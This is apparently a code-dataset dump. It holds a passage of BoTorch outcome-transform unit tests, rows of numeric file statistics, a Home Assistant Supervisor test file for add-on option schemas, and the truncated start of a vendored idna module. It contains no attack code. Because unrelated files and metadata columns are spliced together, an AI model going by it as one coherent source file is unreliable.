self.assertEqual(p_utf.device.type, self.device.type)
self.assertTrue(p_utf.dtype == dtype)
mean_expected = tf.means + tf.stdvs * posterior.mean
variance_expected = tf.stdvs ** 2 * posterior.variance
self.assertTrue(torch.allclose(p_utf.mean, mean_expected))
self.assertTrue(torch.allclose(p_utf.variance, variance_expected))
samples = p_utf.rsample()
self.assertEqual(samples.shape, torch.Size([1]) + shape)
samples = p_utf.rsample(sample_shape=torch.Size([4]))
self.assertEqual(samples.shape, torch.Size([4]) + shape)
samples2 = p_utf.rsample(sample_shape=torch.Size([4, 2]))
self.assertEqual(samples2.shape, torch.Size([4, 2]) + shape)
# TODO: Test expected covar (both interleaved and non-interleaved)
# untransform_posterior for non-GPyTorch posterior
posterior2 = TransformedPosterior(
posterior=posterior,
sample_transform=lambda s: s,
mean_transform=lambda m, v: m,
variance_transform=lambda m, v: v,
)
p_utf2 = tf.untransform_posterior(posterior2)
self.assertEqual(p_utf2.device.type, self.device.type)
self.assertTrue(p_utf2.dtype == dtype)
mean_expected = tf.means + tf.stdvs * posterior.mean
variance_expected = tf.stdvs ** 2 * posterior.variance
self.assertTrue(torch.allclose(p_utf2.mean, mean_expected))
self.assertTrue(torch.allclose(p_utf2.variance, variance_expected))
# TODO: Test expected covar (both interleaved and non-interleaved)
samples = p_utf2.rsample()
self.assertEqual(samples.shape, torch.Size([1]) + shape)
samples = p_utf2.rsample(sample_shape=torch.Size([4]))
self.assertEqual(samples.shape, torch.Size([4]) + shape)
samples2 = p_utf2.rsample(sample_shape=torch.Size([4, 2]))
self.assertEqual(samples2.shape, torch.Size([4, 2]) + shape)
# test error on incompatible output dimension
# TODO: add a unit test for MTGP posterior once #840 goes in
tf_big = Standardize(m=4).eval()
with self.assertRaises(RuntimeError):
tf_big.untransform_posterior(posterior2)
# test transforming a subset of outcomes
for batch_shape, dtype in itertools.product(batch_shapes, dtypes):
m = 2
outputs = [-1]
# test init
tf = Standardize(m=m, outputs=outputs, batch_shape=batch_shape)
self.assertTrue(tf.training)
self.assertEqual(tf._m, m)
self.assertEqual(tf._outputs, [1])
self.assertEqual(tf._batch_shape, batch_shape)
self.assertEqual(tf._min_stdv, 1e-8)
# no observation noise
Y = torch.rand(*batch_shape, 3, m, device=self.device, dtype=dtype)
Y_tf, Yvar_tf = tf(Y, None)
self.assertTrue(tf.training)
Y_tf_mean = Y_tf.mean(dim=-2)
self.assertTrue(torch.all(Y_tf_mean[..., 1].abs() < 1e-4))
self.assertTrue(torch.allclose(Y_tf_mean[..., 0], Y.mean(dim=-2)[..., 0]))
self.assertIsNone(Yvar_tf)
tf.eval()
self.assertFalse(tf.training)
Y_utf, Yvar_utf = tf.untransform(Y_tf, Yvar_tf)
self.assertTrue(torch.allclose(Y_utf, Y))
self.assertIsNone(Yvar_utf)
# subset_output
tf_subset = tf.subset_output(idcs=[0])
Y_tf_subset, Yvar_tf_subset = tf_subset(Y[..., [0]])
self.assertTrue(torch.equal(Y_tf[..., [0]], Y_tf_subset))
self.assertIsNone(Yvar_tf_subset)
with self.assertRaises(RuntimeError):
tf.subset_output(idcs=[0, 1, 2])
# with observation noise
tf = Standardize(m=m, outputs=outputs, batch_shape=batch_shape)
Y = torch.rand(*batch_shape, 3, m, device=self.device, dtype=dtype)
Yvar = 1e-8 + torch.rand(
*batch_shape, 3, m, device=self.device, dtype=dtype
)
Y_tf, Yvar_tf = tf(Y, Yvar)
self.assertTrue(tf.training)
Y_tf_mean = Y_tf.mean(dim=-2)
self.assertTrue(torch.all(Y_tf_mean[..., 1].abs() < 1e-4))
self.assertTrue(torch.allclose(Y_tf_mean[..., 0], Y.mean(dim=-2)[..., 0]))
Yvar_tf_expected = Yvar / Y.std(dim=-2, keepdim=True) ** 2
self.assertTrue(torch.allclose(Yvar_tf[..., 1], Yvar_tf_expected[..., 1]))
self.assertTrue(torch.allclose(Yvar_tf[..., 0], Yvar[..., 0]))
tf.eval()
self.assertFalse(tf.training)
Y_utf, Yvar_utf = tf.untransform(Y_tf, Yvar_tf)
self.assertTrue(torch.allclose(Y_utf, Y))
self.assertTrue(torch.allclose(Yvar_utf, Yvar))
# error on untransform_posterior
with self.assertRaises(NotImplementedError):
tf.untransform_posterior(None)
def test_log(self):
ms = (1, 2)
batch_shapes = (torch.Size(), torch.Size([2]))
dtypes = (torch.float, torch.double)
# test transform and untransform
for m, batch_shape, dtype in itertools.product(ms, batch_shapes, dtypes):
# test init
tf = Log()
self.assertTrue(tf.training)
self.assertIsNone(tf._outputs)
# no observation noise
Y = torch.rand(*batch_shape, 3, m, device=self.device, dtype=dtype)
Y_tf, Yvar_tf = tf(Y, None)
self.assertTrue(tf.training)
self.assertTrue(torch.allclose(Y_tf, torch.log(Y)))
self.assertIsNone(Yvar_tf)
tf.eval()
self.assertFalse(tf.training)
Y_utf, Yvar_utf = tf.untransform(Y_tf, Yvar_tf)
torch.allclose(Y_utf, Y)
self.assertIsNone(Yvar_utf)
# subset_output
tf_subset = tf.subset_output(idcs=[0])
Y_tf_subset, Yvar_tf_subset = tf_subset(Y[..., [0]])
self.assertTrue(torch.equal(Y_tf[..., [0]], Y_tf_subset))
self.assertIsNone(Yvar_tf_subset)
# test error if observation noise present
tf = Log()
Y = torch.rand(*batch_shape, 3, m, device=self.device, dtype=dtype)
Yvar = 1e-8 + torch.rand(
*batch_shape, 3, m, device=self.device, dtype=dtype
)
with self.assertRaises(NotImplementedError):
tf(Y, Yvar)
tf.eval()
with self.assertRaises(NotImplementedError):
tf.untransform(Y, Yvar)
# untransform_posterior
tf = Log()
Y_tf, Yvar_tf = tf(Y, None)
tf.eval()
shape = batch_shape + torch.Size([3, m])
posterior = _get_test_posterior(shape, device=self.device, dtype=dtype)
p_utf = tf.untransform_posterior(posterior)
self.assertIsInstance(p_utf, TransformedPosterior)
self.assertEqual(p_utf.device.type, self.device.type)
self.assertTrue(p_utf.dtype == dtype)
self.assertTrue(p_utf._sample_transform == torch.exp)
mean_expected = norm_to_lognorm_mean(posterior.mean, posterior.variance)
variance_expected = norm_to_lognorm_variance(
posterior.mean, posterior.variance
)
self.assertTrue(torch.allclose(p_utf.mean, mean_expected))
self.assertTrue(torch.allclose(p_utf.variance, variance_expected))
samples = p_utf.rsample()
self.assertEqual(samples.shape, torch.Size([1]) + shape)
samples = p_utf.rsample(sample_shape=torch.Size([4]))
self.assertEqual(samples.shape, torch.Size([4]) + shape)
samples2 = p_utf.rsample(sample_shape=torch.Size([4, 2]))
self.assertEqual(samples2.shape, torch.Size([4, 2]) + shape)
# test transforming a subset of outcomes
for batch_shape, dtype in itertools.product(batch_shapes, dtypes):
m = 2
outputs = [-1]
# test init
tf = Log(outputs=outputs)
self.assertTrue(tf.training)
# cannot normalize indices b/c we don't know dimension yet
self.assertEqual(tf._outputs, [-1])
# no observation noise
Y = torch.rand(*batch_shape, 3, m, device=self.device, dtype=dtype)
Y_tf, Yvar_tf = tf(Y, None)
self.assertTrue(tf.training)
self.assertTrue(torch.allclose(Y_tf[..., 1], torch.log(Y[..., 1])))
self.assertTrue(torch.allclose(Y_tf[..., 0], Y[..., 0]))
self.assertIsNone(Yvar_tf)
tf.eval()
self.assertFalse(tf.training)
Y_utf, Yvar_utf = tf.untransform(Y_tf, Yvar_tf)
torch.allclose(Y_utf, Y)
self.assertIsNone(Yvar_utf)
# subset_output
with self.assertRaises(NotImplementedError):
tf_subset = tf.subset_output(idcs=[0])
# with observation noise
tf = Log(outputs=outputs)
Y = torch.rand(*batch_shape, 3, m, device=self.device, dtype=dtype)
Yvar = 1e-8 + torch.rand(
*batch_shape, 3, m, device=self.device, dtype=dtype
)
with self.assertRaises(NotImplementedError):
tf(Y, Yvar)
# error on untransform_posterior
with self.assertRaises(NotImplementedError):
tf.untransform_posterior(None)
# test subset_output with positive on subset of outcomes (pos. index)
tf = Log(outputs=[0])
Y_tf, Yvar_tf = tf(Y, None)
tf_subset = tf.subset_output(idcs=[0])
Y_tf_subset, Yvar_tf_subset = tf_subset(Y[..., [0]], None)
self.assertTrue(torch.equal(Y_tf_subset, Y_tf[..., [0]]))
self.assertIsNone(Yvar_tf_subset)
def test_chained_outcome_transform(self):
ms = (1, 2)
batch_shapes = (torch.Size(), torch.Size([2]))
dtypes = (torch.float, torch.double)
# test transform and untransform
for m, batch_shape, dtype in itertools.product(ms, batch_shapes, dtypes):
# test init
tf1 = Log()
tf2 = Standardize(m=m, batch_shape=batch_shape)
tf = ChainedOutcomeTransform(b=tf1, a=tf2)
self.assertTrue(tf.training)
self.assertEqual(list(tf.keys()), ["b", "a"])
self.assertEqual(tf["b"], tf1)
self.assertEqual(tf["a"], tf2)
# make copies for validation below
tf1_, tf2_ = deepcopy(tf1), deepcopy(tf2)
# no observation noise
Y = torch.rand(*batch_shape, 3, m, device=self.device, dtype=dtype)
Y_tf, Yvar_tf = tf(Y, None)
Y_tf_, Yvar_tf_ = tf2_(*tf1_(Y, None))
self.assertTrue(tf.training)
self.assertIsNone(Yvar_tf_)
self.assertTrue(torch.allclose(Y_tf, Y_tf_))
tf.eval()
self.assertFalse(tf.training)
Y_utf, Yvar_utf = tf.untransform(Y_tf, Yvar_tf)
torch.allclose(Y_utf, Y)
self.assertIsNone(Yvar_utf)
# subset_output
tf_subset = tf.subset_output(idcs=[0])
Y_tf_subset, Yvar_tf_subset = tf_subset(Y[..., [0]])
self.assertTrue(torch.equal(Y_tf[..., [0]], Y_tf_subset))
self.assertIsNone(Yvar_tf_subset)
with self.assertRaises(RuntimeError):
tf.subset_output(idcs=[0, 1, 2])
# test error if observation noise present
Y = torch.rand(*batch_shape, 3, m, device=self.device, dtype=dtype)
Yvar = 1e-8 + torch.rand(
*batch_shape, 3, m, device=self.device, dtype=dtype
)
with self.assertRaises(NotImplementedError):
tf(Y, Yvar)
# untransform_posterior
tf1 = Log()
tf2 = Standardize(m=m, batch_shape=batch_shape)
tf = ChainedOutcomeTransform(log=tf1, standardize=tf2)
Y_tf, Yvar_tf = tf(Y, None)
tf.eval()
shape = batch_shape + torch.Size([3, m])
posterior = _get_test_posterior(shape, device=self.device, dtype=dtype)
p_utf = tf.untransform_posterior(posterior)
self.assertIsInstance(p_utf, TransformedPosterior)
self.assertEqual(p_utf.device.type, self.device.type)
self.assertTrue(p_utf.dtype == dtype)
samples = p_utf.rsample()
self.assertEqual(samples.shape, torch.Size([1]) + shape)
samples = p_utf.rsample(sample_shape=torch.Size([4]))
self.assertEqual(samples.shape, torch.Size([4]) + shape)
samples2 = p_utf.rsample(sample_shape=torch.Size([4, 2]))
self.assertEqual(samples2.shape, torch.Size([4, 2]) + shape)
# test transforming a subset of outcomes
for batch_shape, dtype in itertools.product(batch_shapes, dtypes):
m = 2
outputs = [-1]
# test init
tf1 = Log(outputs=outputs)
tf2 = Standardize(m=m, outputs=outputs, batch_shape=batch_shape)
tf = ChainedOutcomeTransform(log=tf1, standardize=tf2)
self.assertTrue(tf.training)
self.assertEqual(sorted(tf.keys()), ["log", "standardize"])
self.assertEqual(tf["log"], tf1)
self.assertEqual(tf["standardize"], tf2)
self.assertEqual(tf["log"]._outputs, [-1]) # don't know dimension yet
self.assertEqual(tf["standardize"]._outputs, [1])
# make copies for validation below
tf1_, tf2_ = deepcopy(tf1), deepcopy(tf2)
# no observation noise
Y = torch.rand(*batch_shape, 3, m, device=self.device, dtype=dtype)
Y_tf, Yvar_tf = tf(Y, None)
Y_tf_, Yvar_tf_ = tf2_(*tf1_(Y, None))
self.assertTrue(tf.training)
self.assertIsNone(Yvar_tf_)
self.assertTrue(torch.allclose(Y_tf, Y_tf_))
tf.eval()
self.assertFalse(tf.training)
Y_utf, Yvar_utf = tf.untransform(Y_tf, Yvar_tf)
torch.allclose(Y_utf, Y)
self.assertIsNone(Yvar_utf)
# with observation noise
Y = torch.rand(*batch_shape, 3, m, device=self.device, dtype=dtype)
Yvar = 1e-8 + torch.rand(
*batch_shape, 3, m, device=self.device, dtype=dtype
)
with self.assertRaises(NotImplementedError):
tf(Y, Yvar)
# error on untransform_posterior
with self.assertRaises(NotImplementedError):
tf.untransform_posterior(None)
def test_power(self, seed=0):
torch.random.manual_seed(seed)
ms = (1, 2)
batch_shapes = (torch.Size(), torch.Size([2]))
dtypes = (torch.float, torch.double)
power = 1 / 3
# test transform and untransform
for m, batch_shape, dtype in itertools.product(ms, batch_shapes, dtypes):
# test init
tf = Power(power=power)
self.assertTrue(tf.training)
self.assertIsNone(tf._outputs)
# no observation noise
Y = torch.rand(*batch_shape, 3, m, device=self.device, dtype=dtype)
Y_tf, Yvar_tf = tf(Y, None)
self.assertTrue(tf.training)
self.assertTrue(torch.allclose(Y_tf, Y.pow(power)))
self.assertIsNone(Yvar_tf)
tf.eval()
self.assertFalse(tf.training)
Y_utf, Yvar_utf = tf.untransform(Y_tf, Yvar_tf)
self.assertTrue(torch.allclose(Y_utf, Y))
self.assertIsNone(Yvar_utf)
# subset_output
tf_subset = tf.subset_output(idcs=[0])
Y_tf_subset, Yvar_tf_subset = tf_subset(Y[..., [0]])
self.assertTrue(torch.equal(Y_tf[..., [0]], Y_tf_subset))
self.assertIsNone(Yvar_tf_subset)
# test error if observation noise present
tf = Power(power=power)
Y = torch.rand(*batch_shape, 3, m, device=self.device, dtype=dtype)
Yvar = 1e-8 + torch.rand(
*batch_shape, 3, m, device=self.device, dtype=dtype
)
with self.assertRaises(NotImplementedError):
tf(Y, Yvar)
tf.eval()
with self.assertRaises(NotImplementedError):
tf.untransform(Y, Yvar)
# untransform_posterior
tf = Power(power=power)
Y_tf, Yvar_tf = tf(Y, None)
tf.eval()
shape = batch_shape + torch.Size([3, m])
posterior = _get_test_posterior(shape, device=self.device, dtype=dtype)
p_utf = tf.untransform_posterior(posterior)
self.assertIsInstance(p_utf, TransformedPosterior)
self.assertEqual(p_utf.device.type, self.device.type)
self.assertTrue(p_utf.dtype == dtype)
samples = p_utf.rsample()
self.assertEqual(samples.shape, torch.Size([1]) + shape)
samples = p_utf.rsample(sample_shape=torch.Size([4]))
self.assertEqual(samples.shape, torch.Size([4]) + shape)
samples2 = p_utf.rsample(sample_shape=torch.Size([4, 2]))
self.assertEqual(samples2.shape, torch.Size([4, 2]) + shape)
# test transforming a subset of outcomes
for batch_shape, dtype in itertools.product(batch_shapes, dtypes):
m = 2
outputs = [-1]
# test init
tf = Power(power=power, outputs=outputs)
self.assertTrue(tf.training)
# cannot normalize indices b/c we don't know dimension yet
self.assertEqual(tf._outputs, [-1])
# no observation noise
Y = torch.rand(*batch_shape, 3, m, device=self.device, dtype=dtype)
Y_tf, Yvar_tf = tf(Y, None)
self.assertTrue(tf.training)
self.assertTrue(torch.allclose(Y_tf[..., 1], Y[..., 1].pow(power)))
self.assertTrue(torch.allclose(Y_tf[..., 0], Y[..., 0]))
self.assertIsNone(Yvar_tf)
tf.eval()
self.assertFalse(tf.training)
Y_utf, Yvar_utf = tf.untransform(Y_tf, Yvar_tf)
self.assertTrue(torch.allclose(Y_utf, Y))
self.assertIsNone(Yvar_utf)
# subset_output
with self.assertRaises(NotImplementedError):
tf_subset = tf.subset_output(idcs=[0])
# with observation noise
tf = Power(power=power, outputs=outputs)
Y = torch.rand(*batch_shape, 3, m, device=self.device, dtype=dtype)
Yvar = 1e-8 + torch.rand(
*batch_shape, 3, m, device=self.device, dtype=dtype
)
with self.assertRaises(NotImplementedError):
tf(Y, Yvar)
# error on untransform_posterior
with self.assertRaises(NotImplementedError):
tf.untransform_posterior(None)
# test subset_output with positive on subset of outcomes (pos. index)
tf = Power(power=power, outputs=[0])
Y_tf, Yvar_tf = tf(Y, None)
tf_subset = tf.subset_output(idcs=[0])
Y_tf_subset, Yvar_tf_subset = tf_subset(Y[..., [0]], None)
self.assertTrue(torch.equal(Y_tf_subset, Y_tf[..., [0]]))
self.assertIsNone(Yvar_tf_subset)
| 42.887179
| 86
| 0.585037
| 2,976
| 25,089
| 4.773185
| 0.070565
| 0.014361
| 0.050827
| 0.041394
| 0.824006
| 0.81056
| 0.802112
| 0.774586
| 0.76466
| 0.755297
| 0
| 0.014499
| 0.301726
| 25,089
| 584
| 87
| 42.960616
| 0.796335
| 0.080075
| 0
| 0.743243
| 0
| 0
| 0.001999
| 0
| 0
| 0
| 0
| 0.001712
| 0.364865
| 1
| 0.015766
| false
| 0.002252
| 0.02027
| 0
| 0.042793
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
ed6c2a04aa8925f225a2f19b8c33120ad10f81ef
| 11,502
|
py
|
Python
|
tests/addons/test_options.py
|
casperklein/supervisor
|
34f6dced7629209be551baf1866e9e0acb0f4b80
|
[
"Apache-2.0"
] | null | null | null |
tests/addons/test_options.py
|
casperklein/supervisor
|
34f6dced7629209be551baf1866e9e0acb0f4b80
|
[
"Apache-2.0"
] | 200
|
2020-10-13T06:35:51.000Z
|
2022-03-31T06:03:35.000Z
|
tests/addons/test_options.py
|
sanyatuning/supervisor
|
34f64b0ed00ccb4fcd4a60f903f7c8934c553a1c
|
[
"Apache-2.0"
] | null | null | null |
"""Test add-ons schema to UI schema convertion."""
from pathlib import Path
import pytest
import voluptuous as vol
from supervisor.addons.options import AddonOptions, UiOptions
from supervisor.hardware.data import Device
MOCK_ADDON_NAME = "Mock Add-on"
MOCK_ADDON_SLUG = "mock_addon"
def test_simple_schema(coresys):
"""Test with simple schema."""
assert AddonOptions(
coresys,
{"name": "str", "password": "password", "fires": "bool", "alias": "str?"},
MOCK_ADDON_NAME,
MOCK_ADDON_SLUG,
)({"name": "Pascal", "password": "1234", "fires": True, "alias": "test"})
assert AddonOptions(
coresys,
{"name": "str", "password": "password", "fires": "bool", "alias": "str?"},
MOCK_ADDON_NAME,
MOCK_ADDON_SLUG,
)({"name": "Pascal", "password": "1234", "fires": True})
with pytest.raises(vol.error.Invalid):
AddonOptions(
coresys,
{"name": "str", "password": "password", "fires": "bool", "alias": "str?"},
MOCK_ADDON_NAME,
MOCK_ADDON_SLUG,
)({"name": "Pascal", "password": "1234", "fires": "hah"})
with pytest.raises(vol.error.Invalid):
AddonOptions(
coresys,
{"name": "str", "password": "password", "fires": "bool", "alias": "str?"},
MOCK_ADDON_NAME,
MOCK_ADDON_SLUG,
)({"name": "Pascal", "fires": True})
def test_complex_schema_list(coresys):
"""Test with complex list schema."""
assert AddonOptions(
coresys,
{"name": "str", "password": "password", "extend": ["str"]},
MOCK_ADDON_NAME,
MOCK_ADDON_SLUG,
)({"name": "Pascal", "password": "1234", "extend": ["test", "blu"]})
with pytest.raises(vol.error.Invalid):
AddonOptions(
coresys,
{"name": "str", "password": "password", "extend": ["str"]},
MOCK_ADDON_NAME,
MOCK_ADDON_SLUG,
)({"name": "Pascal", "password": "1234", "extend": ["test", 1]})
with pytest.raises(vol.error.Invalid):
AddonOptions(
coresys,
{"name": "str", "password": "password", "extend": ["str"]},
MOCK_ADDON_NAME,
MOCK_ADDON_SLUG,
)({"name": "Pascal", "password": "1234", "extend": "test"})
def test_complex_schema_dict(coresys):
"""Test with complex dict schema."""
assert AddonOptions(
coresys,
{"name": "str", "password": "password", "extend": {"test": "int"}},
MOCK_ADDON_NAME,
MOCK_ADDON_SLUG,
)({"name": "Pascal", "password": "1234", "extend": {"test": 1}})
with pytest.raises(vol.error.Invalid):
AddonOptions(
coresys,
{"name": "str", "password": "password", "extend": {"test": "int"}},
MOCK_ADDON_NAME,
MOCK_ADDON_SLUG,
)({"name": "Pascal", "password": "1234", "extend": {"wrong": 1}})
with pytest.raises(vol.error.Invalid):
AddonOptions(
coresys,
{"name": "str", "password": "password", "extend": ["str"]},
MOCK_ADDON_NAME,
MOCK_ADDON_SLUG,
)({"name": "Pascal", "password": "1234", "extend": "test"})
def test_simple_device_schema(coresys):
"""Test with simple schema."""
for device in (
Device(
"ttyACM0",
Path("/dev/ttyACM0"),
Path("/sys/bus/usb/002"),
"tty",
[],
{"ID_VENDOR": "xy"},
),
Device(
"ttyUSB0",
Path("/dev/ttyUSB0"),
Path("/sys/bus/usb/001"),
"tty",
[Path("/dev/ttyS1"), Path("/dev/serial/by-id/xyx")],
{"ID_VENDOR": "xy"},
),
Device("ttyS0", Path("/dev/ttyS0"), Path("/sys/bus/usb/003"), "tty", [], {}),
Device(
"video1",
Path("/dev/video1"),
Path("/sys/bus/usb/004"),
"misc",
[],
{"ID_VENDOR": "xy"},
),
):
coresys.hardware.update_device(device)
assert AddonOptions(
coresys,
{"name": "str", "password": "password", "input": "device"},
MOCK_ADDON_NAME,
MOCK_ADDON_SLUG,
)({"name": "Pascal", "password": "1234", "input": "/dev/ttyUSB0"})
data = AddonOptions(
coresys,
{"name": "str", "password": "password", "input": "device"},
MOCK_ADDON_NAME,
MOCK_ADDON_SLUG,
)({"name": "Pascal", "password": "1234", "input": "/dev/serial/by-id/xyx"})
assert data["input"] == "/dev/ttyUSB0"
assert AddonOptions(
coresys,
{"name": "str", "password": "password", "input": "device(subsystem=tty)"},
MOCK_ADDON_NAME,
MOCK_ADDON_SLUG,
)({"name": "Pascal", "password": "1234", "input": "/dev/ttyACM0"})
with pytest.raises(vol.error.Invalid):
assert AddonOptions(
coresys,
{"name": "str", "password": "password", "input": "device"},
MOCK_ADDON_NAME,
MOCK_ADDON_SLUG,
)({"name": "Pascal", "password": "1234", "input": "/dev/not_exists"})
with pytest.raises(vol.error.Invalid):
assert AddonOptions(
coresys,
{"name": "str", "password": "password", "input": "device(subsystem=tty)"},
MOCK_ADDON_NAME,
MOCK_ADDON_SLUG,
)({"name": "Pascal", "password": "1234", "input": "/dev/video1"})
def test_simple_schema_password(coresys):
"""Test with simple schema password pwned."""
validate = AddonOptions(
coresys,
{"name": "str", "password": "password", "fires": "bool", "alias": "str?"},
MOCK_ADDON_NAME,
MOCK_ADDON_SLUG,
)
assert validate(
{"name": "Pascal", "password": "1234", "fires": True, "alias": "test"}
)
assert validate.pwned == {"7110eda4d09e062aa5e4a390b0a572ac0d2c0220"}
validate.pwned.clear()
assert validate({"name": "Pascal", "password": "", "fires": True, "alias": "test"})
assert not validate.pwned
def test_ui_simple_schema(coresys):
"""Test with simple schema."""
assert UiOptions(coresys)(
{"name": "str", "password": "password", "fires": "bool", "alias": "str?"},
) == [
{"name": "name", "required": True, "type": "string"},
{"format": "password", "name": "password", "required": True, "type": "string"},
{"name": "fires", "required": True, "type": "boolean"},
{"name": "alias", "optional": True, "type": "string"},
]
def test_ui_group_schema(coresys):
"""Test with group schema."""
assert UiOptions(coresys)(
{
"name": "str",
"password": "password",
"fires": "bool",
"alias": "str?",
"extended": {"name": "str", "data": ["str"], "path": "str?"},
},
) == [
{"name": "name", "required": True, "type": "string"},
{"format": "password", "name": "password", "required": True, "type": "string"},
{"name": "fires", "required": True, "type": "boolean"},
{"name": "alias", "optional": True, "type": "string"},
{
"multiple": False,
"name": "extended",
"optional": True,
"schema": [
{"name": "name", "required": True, "type": "string"},
{"multiple": True, "name": "data", "required": True, "type": "string"},
{"name": "path", "optional": True, "type": "string"},
],
"type": "schema",
},
]
def test_ui_group_list_schema(coresys):
"""Test with group schema."""
assert UiOptions(coresys)(
{
"name": "str",
"password": "password",
"fires": "bool",
"alias": "str?",
"extended": [{"name": "str", "data": ["str?"], "path": "str?"}],
},
) == [
{"name": "name", "required": True, "type": "string"},
{"format": "password", "name": "password", "required": True, "type": "string"},
{"name": "fires", "required": True, "type": "boolean"},
{"name": "alias", "optional": True, "type": "string"},
{
"multiple": True,
"name": "extended",
"optional": True,
"schema": [
{"name": "name", "required": True, "type": "string"},
{"multiple": True, "name": "data", "optional": True, "type": "string"},
{"name": "path", "optional": True, "type": "string"},
],
"type": "schema",
},
]
def test_ui_simple_device_schema(coresys):
"""Test with simple schema."""
for device in (
Device(
"ttyACM0",
Path("/dev/ttyACM0"),
Path("/sys/bus/usb/002"),
"tty",
[],
{"ID_VENDOR": "xy"},
),
Device(
"ttyUSB0",
Path("/dev/ttyUSB0"),
Path("/sys/bus/usb/001"),
"tty",
[Path("/dev/ttyS1"), Path("/dev/serial/by-id/xyx")],
{"ID_VENDOR": "xy"},
),
Device("ttyS0", Path("/dev/ttyS0"), Path("/sys/bus/usb/003"), "tty", [], {}),
Device(
"video1",
Path("/dev/video1"),
Path("/sys/bus/usb/004"),
"misc",
[],
{"ID_VENDOR": "xy"},
),
):
coresys.hardware.update_device(device)
data = UiOptions(coresys)(
{
"name": "str",
"password": "password",
"fires": "bool",
"alias": "str?",
"input": "device(subsystem=tty)",
},
)
assert sorted(data[-1]["options"]) == sorted(
[
"/dev/serial/by-id/xyx",
"/dev/ttyACM0",
"/dev/ttyS0",
]
)
assert data[-1]["type"] == "select"
def test_ui_simple_device_schema_no_filter(coresys):
"""Test with simple schema without filter."""
for device in (
Device(
"ttyACM0",
Path("/dev/ttyACM0"),
Path("/sys/bus/usb/002"),
"tty",
[],
{"ID_VENDOR": "xy"},
),
Device(
"ttyUSB0",
Path("/dev/ttyUSB0"),
Path("/sys/bus/usb/001"),
"tty",
[Path("/dev/ttyS1"), Path("/dev/serial/by-id/xyx")],
{"ID_VENDOR": "xy"},
),
Device("ttyS0", Path("/dev/ttyS0"), Path("/sys/bus/usb/003"), "tty", [], {}),
Device(
"video1",
Path("/dev/video1"),
Path("/sys/bus/usb/004"),
"misc",
[],
{"ID_VENDOR": "xy"},
),
):
coresys.hardware.update_device(device)
data = UiOptions(coresys)(
{
"name": "str",
"password": "password",
"fires": "bool",
"alias": "str?",
"input": "device",
},
)
assert sorted(data[-1]["options"]) == sorted(
["/dev/serial/by-id/xyx", "/dev/ttyACM0", "/dev/ttyS0", "/dev/video1"]
)
assert data[-1]["type"] == "select"
def test_log_entry(coresys, caplog):
"""Test log entry when no option match in schema."""
options = AddonOptions(coresys, {}, MOCK_ADDON_NAME, MOCK_ADDON_SLUG)(
{"test": "str"}
)
assert options == {}
assert (
"Option 'test' does not exist in the schema for Mock Add-on (mock_addon)"
in caplog.text
)
| 31.255435
| 87
| 0.489741
| 1,097
| 11,502
| 5.022789
| 0.100273
| 0.062069
| 0.053358
| 0.083848
| 0.864428
| 0.828131
| 0.819056
| 0.808893
| 0.795826
| 0.781488
| 0
| 0.02066
| 0.309859
| 11,502
| 367
| 88
| 31.340599
| 0.673469
| 0.033125
| 0
| 0.732258
| 0
| 0
| 0.274955
| 0.020705
| 0
| 0
| 0
| 0
| 0.070968
| 1
| 0.035484
| false
| 0.132258
| 0.016129
| 0
| 0.051613
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 8
|
ed78da019b8b355c57c9266a0349e7b5ce043966
| 189
|
py
|
Python
|
the-settler/API/__init__.py
|
EnderDas/the-settler
|
c570d22446f6057a355c55133cbbeb6086863d18
|
[
"MIT"
] | null | null | null |
the-settler/API/__init__.py
|
EnderDas/the-settler
|
c570d22446f6057a355c55133cbbeb6086863d18
|
[
"MIT"
] | null | null | null |
the-settler/API/__init__.py
|
EnderDas/the-settler
|
c570d22446f6057a355c55133cbbeb6086863d18
|
[
"MIT"
] | null | null | null |
#__init__
from .weapon import *
from .weapon import _Mod as WepMod
from .item import *
from .armor import *
from .armor import _Mod as ArmMod
from .player import *
from .inventory import *
| 21
| 34
| 0.756614
| 28
| 189
| 4.892857
| 0.428571
| 0.291971
| 0.233577
| 0.306569
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.174603
| 189
| 8
| 35
| 23.625
| 0.878205
| 0.042328
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
9c079de83063cb6e02ae308799abd78959de31c3
| 893
|
py
|
Python
|
flask1/.venv/Lib/site-packages/pip/_vendor/idna/__init__.py
|
kerwin-yang-yang/Bigplatform
|
575ebb3c494ce28e820ab5ad0a91f194451eec76
|
[
"MIT"
] | 32
|
2021-05-03T09:03:57.000Z
|
2022-03-17T09:18:59.000Z
|
flask1/.venv/Lib/site-packages/pip/_vendor/idna/__init__.py
|
kerwin-yang-yang/Bigplatform
|
575ebb3c494ce28e820ab5ad0a91f194451eec76
|
[
"MIT"
] | 4
|
2021-05-29T20:42:52.000Z
|
2022-03-16T03:01:12.000Z
|
flask1/.venv/Lib/site-packages/pip/_vendor/idna/__init__.py
|
kerwin-yang-yang/Bigplatform
|
575ebb3c494ce28e820ab5ad0a91f194451eec76
|
[
"MIT"
] | 27
|
2021-11-10T08:44:10.000Z
|
2022-03-30T08:19:46.000Z
|
from .package_data import __version__
from .core import (
IDNABidiError,
IDNAError,
InvalidCodepoint,
InvalidCodepointContext,
alabel,
check_bidi,
check_hyphen_ok,
check_initial_combiner,
check_label,
check_nfc,
decode,
encode,
ulabel,
uts46_remap,
valid_contextj,
valid_contexto,
valid_label_length,
valid_string_length,
)
from .intranges import intranges_contain
__all__ = [
"IDNABidiError",
"IDNAError",
"InvalidCodepoint",
"InvalidCodepointContext",
"alabel",
"check_bidi",
